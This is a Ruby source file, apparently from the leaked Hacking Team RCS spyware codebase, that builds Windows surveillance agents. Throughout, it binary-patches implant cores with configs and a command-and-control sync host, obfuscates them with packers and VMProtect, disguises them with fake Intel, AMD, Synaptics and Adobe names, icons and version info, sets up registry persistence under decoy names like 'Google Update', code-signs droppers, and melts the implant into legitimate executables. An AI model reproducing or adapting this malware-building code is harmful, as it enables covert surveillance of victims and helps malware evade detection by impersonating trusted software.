hackedteam/rcs-db

View on GitHub
lib/rcs-db/build/windows.rb

Summary

Maintainability
A
3 hrs
Test Coverage
#
#  Agent creation for windows
#

# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/binary'

module RCS
module DB

class BuildWindows < Build

  def initialize
    super
    @platform = 'windows'
  end

  def patch(params)

    trace :debug, "Build: patching: #{params}"

    # add the file to be patched to the params
    # these params will be passed to the super
    params[:core] = 'core'
    params[:config] = 'config'

    # enforce demo flag accordingly to the license
    # or raise if cannot build
    params['demo'] = LicenseManager.instance.can_build_platform :windows, params['demo']

    # remember the demo parameter
    @demo = params['demo']

    # invoke the generic patch method with the new params
    super

    # patch the core64
    params[:core] = 'core64'
    params[:config] = nil
    super

    # patch the scout
    params[:core] = 'scout'
    params[:config] = nil
    super

    # patch the soldier
    params[:core] = 'soldier'
    params[:config] = nil
    super

    marker = nil

    trace :debug, "Patching soldier config"

    patch_file(:file => 'soldier') do |content|
      begin
        marker = "Config"
        # binary patch the config
        config = @factory.configs.first.encrypted_soldier_config(@factory.confkey)
        bin = [config.bytesize].pack('I') + config.ljust(512 - 4, "\x00")
        # pad the config to 512 bytes
        content.binary_patch 'CONF'*128, bin
      rescue Exception => e
        raise "#{marker} marker not found: #{e.message}"
      end
    end

    trace :debug, "Patching scout for sync and shot"

    patch_file(:file => 'scout') do |content|
      begin
        host = @factory.configs.first.sync_host
        raise "Sync host not found" unless host
        marker = "Sync"
        content.binary_patch 'SYNC'*16, host.ljust(64, "\x00")

        marker = "Screenshot"
        # pay attention this flag is inverted. 0000 means screenshot is enabled, 1111 is disabled
        content.binary_patch 'SHOT', @factory.configs.first.screenshot_enabled? ? "\x00\x00\x00\x00" : "\x01\x01\x01\x01"

        marker = "Module name"
        content.binary_patch 'MODUNAME', module_name('scout')
      rescue Exception => e
        raise "#{marker} marker not found: #{e.message}"
      end
    end

    trace :debug, "Patching core function names and registry"

    patch_file(:file => 'core') do |content|
      begin
        # patching for the function name
        marker = "Funcname"
        patch_func_names(content)

        marker = 'dllname'
       content.binary_patch 'MODUNAME', module_name('core')

        # the new registry key
        marker = "Registry key"
        content.binary_patch 'JklAKLjsd-asdjAIUHDUD823akklGDoak3nn34', reg_start_key(@factory.confkey).ljust(38, "\x00")
      rescue Exception => e
        raise "#{marker} marker not found: #{e.message}"
      end
    end

    trace :debug, "Patching core64 function names and registry"

    # we have an exception here, the core64 must be patched only with some values
    patch_file(:file => 'core64') do |content|
      begin
        # patching for the function name
        marker = "Funcname"
        patch_func_names(content)

        marker = 'dllname'
        content.binary_patch 'MODUNAME', module_name('core64')

        # the new registry key
        marker = "Registry key"
        content.binary_patch 'JklAKLjsd-asdjAIUHDUD823akklGDoak3nn34', reg_start_key(@factory.confkey).ljust(38, "\x00")
      rescue Exception => e
        raise "#{marker} marker not found: #{e.message}"
      end
    end

    # patching the build time
    patch_build_time('core')
    patch_build_time('core64')
    patch_build_time('codec')
    patch_build_time('sqlite')
    patch_build_time('silent')

    # code obfuscator
    CrossPlatform.exec path('packer32'), "#{path('core')}"
    CrossPlatform.exec path('packer64'), "#{path('core64')}"
  end

  def scramble
    trace :debug, "Build: scrambling"

    core = scramble_name(@factory.seed, 3)
    core_backup = scramble_name(core, 32)
    dir = scramble_name(core[0..7], 7)
    config = scramble_name(core[0] < core_backup[0] ? core : core_backup, 1)
    codec = scramble_name(config, 2)
    driver = scramble_name(config, 4)
    driver64 = scramble_name(config, 16)
    core64 = scramble_name(config, 15)
    oldreg = old_reg_start_key(@factory.confkey)
    reg = reg_start_key(@factory.confkey)

    @scrambled = {core: core, core64: core64, driver: driver, driver64: driver64,
                  dir: dir, reg: reg, oldreg: oldreg, config: config, codec: codec }

    # call the super which will actually do the renaming
    # starting from @outputs and @scrambled
    super

  end

  def melt(params)
    trace :debug, "Build: melting: #{params}"

    @appname = params['appname'] || 'agent'

    # parse the parameters
    @cooked = params['cooked'] ? true : false
    @admin = params['admin'] ? true : false
    @bit64 = (params['bit64'] == false) ? false : true
    @codec = (params['codec'] == false) ? false : true
    @scout = (params['scout'] == false) ? false : true
    @soldier = (params['soldier'] == true) ? true : false
    @melted = params['input'] ? true : false

    # choose the correct melting mode
    melting_mode = :silent
    melting_mode = :cooked if @cooked
    melting_mode = :melted if @melted

    # change the icon of the exec accordingly to the name
    customize_scout_and_soldier(@factory.confkey) if @scout or @soldier

    trace :debug, "Build: melting mode: #{melting_mode}"

    case melting_mode
      when :silent
        silent()
      when :cooked
        # this is a build for the NI
        cook()
      when :melted
        # user-provided file to melt with
        melted(Config.instance.temp(params['input']))
    end

    File.exist? path('output') || raise("output file not created")

    trace :debug, "Build: dropper output is: #{File.size(path('output'))} bytes"

    @outputs = ['output']
  end

  def sign(params)
    trace :debug, "Build: signing: #{params}"

    # don't sign cooked file (its not a valid PE)
    # don't sign melted files (firefox signed by us is not credible)
    return if @cooked or @melted

    # perform the signature
    #CrossPlatform.exec path('signtool'), "sign /P #{Config.instance.global['CERT_PASSWORD']} /f #{Config.instance.cert("windows.pfx")} /ac #{Config.instance.cert("comodo.cer")} #{path('output')}" if to_be_signed?(params)
  end

  def pack(params)
    trace :debug, "Build: pack: #{params}"

    Zip::File.open(path('output.zip'), Zip::File::CREATE) do |z|
      z.file.open(@appname + (@cooked ? '.cooked' : '.exe'), "wb") { |f| f.write File.open(path(@outputs.first), 'rb') {|f| f.read} }
    end

    # this is the only file we need to output after this point
    @outputs = ['output.zip']
  rescue Exception => e
    trace :warn, "Cannot pack: #{e.message}"
    retry if attempt ||= 0 and attempt += 1 and attempt < 5
    raise
  end

  def unique(core)
    Zip::File.open(core) do |z|
      core_content = z.file.open('core', "rb") { |f| f.read }
      add_magic(core_content)
      File.open(Config.instance.temp('core'), "wb") {|f| f.write core_content}

      core_content = z.file.open('core64', "rb") { |f| f.read }
      add_magic(core_content)
      File.open(Config.instance.temp('core64'), "wb") {|f| f.write core_content}

      core_content = z.file.open('scout', "rb") { |f| f.read }
      add_magic(core_content)
      File.open(Config.instance.temp('scout'), "wb") {|f| f.write core_content}

      core_content = z.file.open('soldier', "rb") { |f| f.read }
      add_magic(core_content)
      File.open(Config.instance.temp('soldier'), "wb") {|f| f.write core_content}
    end

    # update with the zip utility since rubyzip corrupts zip file made by winzip or 7zip
    CrossPlatform.exec "zip", "-j -u #{core} #{Config.instance.temp('core')}"
    FileUtils.rm_rf Config.instance.temp('core')

    CrossPlatform.exec "zip", "-j -u #{core} #{Config.instance.temp('core64')}"
    FileUtils.rm_rf Config.instance.temp('core64')

    CrossPlatform.exec "zip", "-j -u #{core} #{Config.instance.temp('scout')}"
    FileUtils.rm_rf Config.instance.temp('scout')

    CrossPlatform.exec "zip", "-j -u #{core} #{Config.instance.temp('soldier')}"
    FileUtils.rm_rf Config.instance.temp('soldier')
  end

  def scout_name(seed)
    scout_names = [
      {name: 'btplayerctrl', version: '1.1.0.52', desc: 'Intel PROSet\Wireless Bluetooth', company: 'Motorola Solutions, Inc.', copyright: '(c) 2012 Motorola Solutions, Inc.' },
      {name: 'HydraDM', version: '4.0.66.0', desc: 'AMD HydraVision Desktop Manager', company: 'AMD', copyright: 'Copyright (c) AMD 2006-2010' },
      {name: 'iFrmewrk', version: '14.1.1.1', desc: 'Intel(R) ProSet/Wireless Framework', company: 'Intel Corporation', copyright: 'Copyright (c) Intel Corporation 1999-2011' },
      {name: 'Toaster', version: '1.0.1.140', desc: 'Dell Backup And Recovery', company: 'SoftThinks SAS', copyright: '(c) 2007-2013 SoftThinks SAS' },
      {name: 'rusb3mon', version: '3.0.8.0', desc: 'USB 3.0 Monitor', company: 'Renesas Electronics Corporation', copyright: '(c) 2010-2011 Renesas Electronics Corporation' },
      {name: 'SynTPEnh', version: '15.3.5.0', desc: 'Synaptics TouchPad Enhancements', company: 'Synaptics Incorporated', copyright: 'Copyright (c) Synaptics Incorporated 1996-2011' }
    ]

    scout_names[seed.ord % scout_names.size]
  end

  def soldier_name(seed)
    scout_name(seed[0].next)
  end

  def soldier_upgrade!
    raise "Cannot find soldier" unless File.exist? path('output')
    raise "Cannot find soldier installer" unless File.exist? path('soldier_upgrade')

    patch_file(:file => 'soldier_upgrade') do |content|
      begin
        content.binary_patch 'SIZE', [File.size(path('output'))].pack('I')
        content.binary_patch 'SOLDIEROSOLDIEROSOLDIEROSOLDIERO', soldier_name(@factory.confkey)[:name].ljust(32, "\x00")
      rescue Exception => e
        raise "Soldier upgrade marker not found: #{e.message}"
      end
    end

    installer = File.open(path('soldier_upgrade'), 'rb+') {|f| f.read}
    soldier = File.open(path('output'), 'rb+') {|f| f.read}

    File.open(path('output'), 'wb+') {|f| f.write installer + soldier}
  end

  private

  def cook
    if @scout
      name = scout_name(@factory.confkey)[:name]
      cook_param = '-S ' + path('scout') + ' -O ' + path('output') + ' -N ' + name
    else
      key = Digest::MD5.digest(@factory.logkey).unpack('H2').first.upcase

      # write the ini file
      File.open(path('RCS.ini'), 'w') do |f|
        f.puts "[RCS]"
        f.puts "HUID=#{@factory.ident}"
        f.puts "HCORE=#{@scrambled[:core]}"
        f.puts "HCONF=#{@scrambled[:config]}"
        f.puts "CODEC=#{@scrambled[:codec]}" if @codec
        f.puts "DLL64=#{@scrambled[:core64]}" if @bit64

        # TODO: driver removal (just comment them here)
        #f.puts "HDRV=#{@scrambled[:driver]}"
        #f.puts "DRIVER64=#{@scrambled[:driver64]}"

        f.puts "HDIR=#{@scrambled[:dir]}"
        f.puts "HREG=#{@scrambled[:reg]}"
        f.puts "HSYS=ndisk.sys"
        f.puts "HKEY=#{key}"
        f.puts "MANIFEST=" + (@admin ? 'yes' : 'no')
        f.puts "FUNC=" + "#{@funcnames[5]},#{@funcnames[8]}"
        f.puts "INSTALLER=" + (@cooked ? 'no' : 'yes')
      end
      cook_param = '-C -R ' + path('') + ' -O ' + path('output')
    end

    CrossPlatform.exec path('cooker'), cook_param

    File.exist? path('output') || raise("cooker output file not created")
  end

  def silent
    if @scout
      # the scout is already created
      FileUtils.cp path('scout'), path('output')
    elsif @soldier
      # the scout is already created
      FileUtils.cp path('soldier'), path('output')
    else
      # we have to create a silent installer
      cook()
      cooked = File.open(path('output'), 'rb') {|f| f.read}

      # we have a static var of 1 MiB
      raise "cooked file is too big" if cooked.bytesize > 1024*1024

      patch_file(:file => 'silent') do |content|
        begin
          offset = content.index("\xef\xbe\xad\xde".force_encoding('ASCII-8BIT'))
          raise "offset is nil" if offset.nil?
          content.binary_patch_at_offset offset, cooked
        rescue Exception => e
          raise "Room for cooked not found: #{e.message}"
        end
      end

      # delete the cooked output file and overwrite it with the silent output
      FileUtils.rm_rf path('output')
      FileUtils.cp path('silent'), path('output')
    end
  end

  def melted(input)
    FileUtils.mv input, path('input')

    if @scout
      name = scout_name(@factory.confkey)[:name]
      CrossPlatform.exec path('dropper'), '-s ' + path('scout') + ' ' + path('input') + ' ' + path('output') + ' ' + name
    else
      CrossPlatform.exec path('dropper'), path(@scrambled[:core])+' '+
                                          (@bit64 ? path(@scrambled[:core64]) : 'null') +' '+
                                          path(@scrambled[:config])+' '+

                                          # TODO: driver removal
                                          'null ' +
                                          'null ' +
                                          #path(@scrambled[:driver])+' '+
                                          #(@bit64 ? path(@scrambled[:driver64]) : 'null') +' '+

                                          (@codec ? path(@scrambled[:codec]) : 'null') +' '+
                                          @scrambled[:dir]+' '+
                                          (@admin ? '1' : '0') +' '+
                                          "#{@funcnames[5]},#{@funcnames[8]}" +' '+
                                          path('input') + ' ' +
                                          path('output')
    end
  end

  def add_random(file)
    File.open(file, 'ab+') {|f| f.write SecureRandom.random_bytes(16)}
  end

  def to_be_signed?(params = nil)
    # default case
    do_signature = false

    # not requested but the cert is present
    if (params.nil? or not params.has_key? 'sign') and File.exist? Config.instance.cert("windows.pfx")
      do_signature = true
    end

    # explicit request to sign the code
    if not params.nil? and params['sign']
      raise "Cannot find pfx file" unless File.exist? Config.instance.cert("windows.pfx")
      do_signature = true
    end

    # explicit request to NOT sign the code
    if not params.nil? and params['sign'] == false
      do_signature = true
    end

    do_signature
  end

  def reg_start_key(seed)
    fakever = (seed[2].ord % 10).to_s + '.' + (seed.slice(0..2).unpack('S').first % 100).to_s

    fake_names = ['Restore Point',      'Backup Status',    'HD Audio',         'HD Audio balance', 'Bluetooth Pairing',
                  'Intel(R) Interface', 'Intel PROSet',     'Delayed launcher', 'Intel USB Device', 'Smart Connect',
                  'Java(TM) SE update', 'Audio Background', 'Wifi Manager',     'Adobe(R) Updater', 'Google Update',
                  'Broadcom WiFi',      'Intel(R) Wifi',    'Track Gestures',   'Wifi Assistant',   'Flash Update'
                 ]

    # the name must be less than 23
    name = fake_names[seed.ord % fake_names.size] + ' ' + fakever

    raise "Registry key name too long" if name.length > 23

    return name
  end

  def old_reg_start_key(seed)
    fakever = (seed[2].ord % 11).to_s + '.' + seed.slice(0..2).unpack('S').first.to_s

    fake_names = ['wmiprvse', 'lssas', 'dllhost', 'IconStor', 'wsus', 'MSInst', 'WinIME',
                  'RSSFeed', 'IconDB', 'MSCache', 'IEPrefs', 'EVTvwr', 'TServer', 'SMBAuth',
                  'DRM', 'Recovery', 'Registry', 'Cookies', 'MSVault', 'MSDiag', 'MSHelp']
    fake_names[seed.ord % fake_names.size] + ' ' + fakever
  end

  def customize_scout_and_soldier(seed)

    info_scout = scout_name(seed)
    icon_scout = "icons/#{info_scout[:name]}.ico"
    info_soldier = soldier_name(seed)
    icon_soldier = "icons/#{info_soldier[:name]}.ico"

    # make the name unique (used by the exploit script on exploit server)
    # only if a name is not provided ('agent' is the default)
    if @appname.eql? 'agent'
      hash = Digest::SHA1.digest(File.read(path('scout_version')) + info_scout[:name])
      hash = hash.split('').keep_if {|x| x.ord > 128}.join[0..5].unpack('H*').first
      @appname += '_' + hash
    end

    # binary patch the name of the scout once copied in the startup
    patch_file(:file => 'scout') do |content|
      begin
        # the filename of the final exec
        content.binary_patch 'SCOUT'*4, info_scout[:name].ljust(20, "\x00")
      rescue
        raise "Scout name marker not found"
      end
    end
    patch_file(:file => 'soldier') do |content|
      begin
        # the filename of the final exec
        content.binary_patch 'SCOUT'*4, info_soldier[:name].ljust(20, "\x00")
      rescue
        raise "Soldier name marker not found"
      end
    end

    # change the icon
    CrossPlatform.exec path('rcedit'), "/I #{path('scout')} #{path(icon_scout)}"
    CrossPlatform.exec path('rcedit'), "/I #{path('soldier')} #{path(icon_soldier)}"

    # change the infos
    CrossPlatform.exec path('verpatch'), "/fn /va #{path('scout')} \"#{info_scout[:version]}\" /s pb \"\" /s desc \"#{info_scout[:desc]}\" /s company \"#{info_scout[:company]}\" /s (c) \"#{info_scout[:copyright]}\" /s product \"#{info_scout[:desc]}\" /pv \"#{info_scout[:version]}\""
    CrossPlatform.exec path('verpatch'), "/fn /va #{path('soldier')} \"#{info_soldier[:version]}\" /s pb \"\" /s desc \"#{info_soldier[:desc]}\" /s company \"#{info_soldier[:company]}\" /s (c) \"#{info_soldier[:copyright]}\" /s product \"#{info_soldier[:desc]}\" /pv \"#{info_soldier[:version]}\""

    # pack the scout
    #CrossPlatform.exec path('packer32'), "#{path('scout')}"

    # vmprotect the scout
    CrossPlatform.exec path('VMProtect_Con'), "#{path('scout')} #{path('scout_vmp')}"
    FileUtils.mv path('scout_vmp'), path('scout')

    # vmprotect the soldier
    CrossPlatform.exec path('VMProtect_Con'), "#{path('soldier')} #{path('soldier_vmp')}"
    FileUtils.mv path('soldier_vmp'), path('soldier')

    # sign it
    CrossPlatform.exec path('signtool'), "sign /P #{Config.instance.global['CERT_PASSWORD']} /f #{Config.instance.cert("windows.pfx")} /ac #{Config.instance.cert("comodo.cer")} #{path('scout')}" if to_be_signed?
    CrossPlatform.exec path('signtool'), "sign /P #{Config.instance.global['CERT_PASSWORD']} /f #{Config.instance.cert("windows.pfx")} /ac #{Config.instance.cert("comodo.cer")} #{path('soldier')}" if to_be_signed?
  end

  def customize_icon(file, icon)
    case icon
      when 'flash'
        icon_file = "icons/#{icon}.ico"
        info = {name: 'FlashUtil', version: '11.5.500.104', desc: 'Adobe Flash Player Installer/Uninstaller 11.5 r500', company: 'Adobe Systems Incorporated', copyright: 'Copyright (c) 1996 Adobe Systems Incorporated'}
    end

    # change the icon
    CrossPlatform.exec path('rcedit'), "/I #{file} #{path(icon_file)}"

    # change the infos
    CrossPlatform.exec path('verpatch'), "/fn /va #{file} \"#{info[:version]}\" /s pb \"\" /s desc \"#{info[:desc]}\" /s company \"#{info[:company]}\" /s (c) \"#{info[:copyright]}\" /s product \"#{info[:desc]}\" /pv \"#{info[:version]}\""
  end

  def patch_build_time(file)
    patch_file(:file => file) do |content|
      begin
        offset = content.index("PE\x00\x00")
        raise if offset.nil?
        time = Time.now.to_i
        content.binary_patch_at_offset offset + 8, [time].pack('I')
      rescue
        raise "build time offset not found"
      end
    end
  end

  def patch_func_names(content)
    # calculate the function name for the dropper
    @funcnames = []

    (1..12).each do |index|
      # take the first letter (ignore nums) of the log key
      # it must be a letter since it's a function name
      first_alpha = @factory.logkey.match(/[a-zA-Z]/)[0]
      progressive = ('A'.ord + first_alpha.ord % 10 + index).chr
      @funcnames[index] = first_alpha + Digest::MD5.digest(@factory.logkey + LicenseManager.instance.limits[:magic]).unpack('H*').first[0..7] + progressive
    end

    (1..12).each do |index|
      find = "PPPFTBBP%02d" % index

      trace :debug, "FUNC: #{find} -> #{@funcnames[index]}" if content[find]

      content.binary_patch find, @funcnames[index] if content[find]
    end
    content
  end

  def module_name(file)
    # take the first letter (ignore nums) of the log key
    # it must be a letter since it's a function name
    first_alpha = @factory.logkey.match(/[a-zA-Z]/)[0]

    progressive = '0'

    case file
      when 'core'
        progressive = ('A'.ord + (first_alpha.ord + 32) % 26).chr
      when 'core64'
        progressive = ('A'.ord + (first_alpha.ord + 64) % 26).chr
      when 'scout'
        progressive = ('A'.ord + (first_alpha.ord + 17) % 26).chr
    end

    first_alpha + SecureRandom.hex(1) + progressive + LicenseManager.instance.limits[:magic][4..7]
  end

end

end #DB::
end #RCS::